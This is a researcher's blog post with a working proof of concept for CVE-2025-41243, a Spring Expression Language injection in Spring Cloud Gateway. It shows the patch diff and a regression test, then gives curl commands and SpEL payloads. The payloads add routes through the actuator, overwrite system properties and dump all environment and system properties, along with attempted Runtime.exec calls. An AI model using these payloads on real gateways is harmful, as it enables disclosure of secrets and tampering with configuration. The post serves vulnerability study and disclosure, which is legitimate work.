CVE-2025-41243 PoC for SpEL property modification using Spring Cloud Gateway Server WebFlux

CVE-2025-41243: Spring Expression Language property modification using Spring Cloud Gateway Server WebFlux is out and got CVSS score 10.0.

Here is my, hmmm…. is it really a complete Proof of Concept? Because I would expect that CVSS score 10.0 includes a RCE as well.
I’m nothing, I have to learn a lot.

Patch delta shows in restrictive mode, that no assignments are allowed anymore
org/springframework/cloud/gateway/support/ShortcutConfigurable.java:

		public GatewayEvaluationContext(BeanFactory beanFactory) {
			this.beanFactoryResolver = new BeanFactoryResolver(beanFactory);
			Environment env = beanFactory.getBean(Environment.class);
			boolean restrictive = env.getProperty("spring.cloud.gateway.restrictive-property-accessor.enabled",
					Boolean.class, true);
			if (restrictive) {
				delegate = SimpleEvaluationContext.forPropertyAccessors(new RestrictivePropertyAccessor())
						.withMethodResolvers((context, targetObject, name, argumentTypes) -> null)
            .withAssignmentDisabled()     // <---- newly added
            .build();
			}
			else {
				delegate = SimpleEvaluationContext.forReadOnlyDataBinding().build();
			}

And a test case was added to check that assignments are not possible anymore
org/springframework/cloud/gateway/support/ShortcutConfigurableTests.java‎

	public void testNormalizeDefaultTypeWithSpelAssignmentAndInvalidInputFails() {
		parser = new SpelExpressionParser();
		ShortcutConfigurable shortcutConfigurable = new ShortcutConfigurable() {
			@Override
			public List<String> shortcutFieldOrder() {
				return Arrays.asList("bean", "arg1");
			}
		};
		Map<String, String> args = new HashMap<>();
		args.put("bean", "#{ @myMap['my.flag'] = true}");      // <---- has to fail
		args.put("arg1", "val1");
		assertThatThrownBy(() -> {
			ShortcutType.DEFAULT.normalize(args, shortcutConfigurable, parser, this.beanFactory);
		}).isInstanceOf(SpelEvaluationException.class);
	}

Creating new route with property assignment and reading it

curl -X POST -H 'Content-Type: application/json' -i http://gateway:8092/actuator/gateway/routes/route-spel-assign --data '{
  "id": "route-spel-assign",
  "uri": "http://1.2.3.4:8443/",
  "predicates": [
    {
      "name": "Path",
      "args": {
        "pattern": "/spel-assign"
      }
    }
  ],
  "filters": [
    {
      "name": "AddResponseHeader",
      "args": {
        "name": "X-SpEL-SystemProperty-Set1",
        "value": "#{@systemProperties['\''my.own.flag'\''] = '\''directly set'\''}"
      }
    },
    {
      "name": "AddResponseHeader",
      "args": {
        "name": "X-SpEL-SystemProperty-Get1",
        "value": "#{@systemProperties['\''my.own.flag'\'']}"
      }
    },
    {
      "name": "AddResponseHeader",
      "args": {
        "name": "X-SpEL-SystemProperty-Set2",
        "value": "#{@systemProperties['\''my.own.flag'\''] = '\''taken from java home:'\'' + @systemProperties['\''java.home'\'']}"
      }
    },
    {
      "name": "AddResponseHeader",
      "args": {
        "name": "X-SpEL-SystemProperty-Get2",
        "value": "#{@systemProperties['\''my.own.flag'\'']}"
      }
    }
  ]
}'

Apply new route

curl -X POST -i http://gateway:8092/actuator/gateway/refresh

Getting data of newly added route

http://gateway:8092/actuator/gateway/routes/route-spel-assign

{"predicate":"Paths: [/spel-assign], match trailing slash: true",
"route_id":"route-spel-assign",
"filters":[
      "[[AddResponseHeader X-SpEL-SystemProperty-Set1 = 'directly set'], order = 1]",
      "[[AddResponseHeader X-SpEL-SystemProperty-Get1 = 'directly set'], order = 2]",
      "[[AddResponseHeader X-SpEL-SystemProperty-Set2 = 'taken from java home:/usr/lib/jvm/java-17-openjdk-17.0.16.0.8-2.el8.x86_64'], order = 3]",
      "[[AddResponseHeader X-SpEL-SystemProperty-Get2 = 'taken from java home:/usr/lib/jvm/java-17-openjdk-17.0.16.0.8-2.el8.x86_64'], order = 4]"
   ],
"uri":"http://1.2.3.4:8443/",
"order":0}

As you can see, the property assigment works and it’s reading.

"value": "#{@systemProperties['my.own.flag'] = 'taken from java home:' + @systemProperties['java.home']}"
"value": "#{@systemProperties['my.own.flag']}"

OK!
I can read application specific -DjavaProperties values as well, which might contains some secrets (I will not mention).

But unpatched Spring already blocks Type and Method calls or does not support that.

"value": "#{@systemProperties['my.own.flag'] = T(java.lang.System).getProperty('java.version')}"
"value": "#{@systemProperties['my.own.flag'] = T(java.lang.String).valueOf(123)}"
"value": "#{@systemProperties['my.own.flag'] = T(java.lang.Runtime).getRuntime().exec('id')}"
"value": "#{@systemProperties['my.own.flag'] = ''.valueOf(123)}"
"value": "#{@systemProperties['my.own.flag'] = new String('acb')}"

And now? Give me a light why this is a CVSS score of 10.0!

A post is out on X by @GobySec showing a screenshot with a payload.
But for me it does not work…… because the interessting part is not shown in picture

Got a ping by original reseacher ezzer as reply to my post on X

ezzer gave me the link to his write up. It’s better than my post ;-) ezzer’s writeup for CVE-2025-41243
Ahhhhh!!!! I wasn’t that far away.
Without using Property Assignment spring.cloud.gateway.restrictive-property-accessor.enabled = false we would get errors in followup calls like

SpelEvaluationException: EL1008E: Property or field 'key' cannot be found on object of type 'java.util.concurrent.ConcurrentHashMap$MapEntry' - maybe not public or not valid?
SpelEvaluationException: EL1008E: Property or field 'getPropertySources' cannot be found on object of type 'org.springframework.boot.web.reactive.context.ApplicationReactiveWebEnvironment' - maybe not public or not valid?

Based on ezzer’s PoC where restrictive flag is set to false first, now I can read all environment and systemProperties at once

curl -X POST -H 'X-CSRF-TOKEN: true' -H 'Content-Type: application/json' -i http://gateway:9192/actuator/gateway/routes/route-spel-readdata --data '{
  "id": "route-spel-readdata",
  "uri": "http://1.2.3.4:8443/",
  "predicates": [{
    "name": "Path",
    "args": {
      "pattern": "/malicious"
    }
  }],
  "filters": [{
    "name": "AddRequestHeader",
    "args": {
      "name": "X-SpEL-get-environment",
      "value": "#{@environment.getPropertySources.?[#this.name matches '\''.*optional:classpath:.*'\''][0].source.![{#this.getKey, #this.getValue.toString}]}"
    }
  },
  {
    "name": "AddRequestHeader",
    "args": {
      "name": "X-SpEL-get-systemProperties",
      "value": "#{@systemProperties.![{#this.key, #this.value.toString}]}"
    }
  }
]
}'

Apply new route

curl -X POST -i http://gateway:8092/actuator/gateway/refresh

Read the new route and have fun

curl -i http://gateway:8092/actuator/gateway/routes/route-spel-readdata

That’s enough for me. Still no RCE, but with property modification based on all visible environment and systemProperties keys, there will be some sign.
Thank you for reading. The CVE is not my credit, but the work on the PoC exploit was only for my private fun to learn about dynamic route definitions and mostly for my frustration to get a PoC. ;-)

Disclaimer

The information provided is released “as is” without warranty of any kind. The publisher disclaims all warranties, either express or implied, including all warranties of merchantability. No responsibility is taken for the correctness of this information. In no event shall the publisher be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if the publisher has been advised of the possibility of such damages.

The contents of this advisory are copyright (c) 2025 by psytester and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.

Written on September 24, 2025 | Last modified on September 25, 2025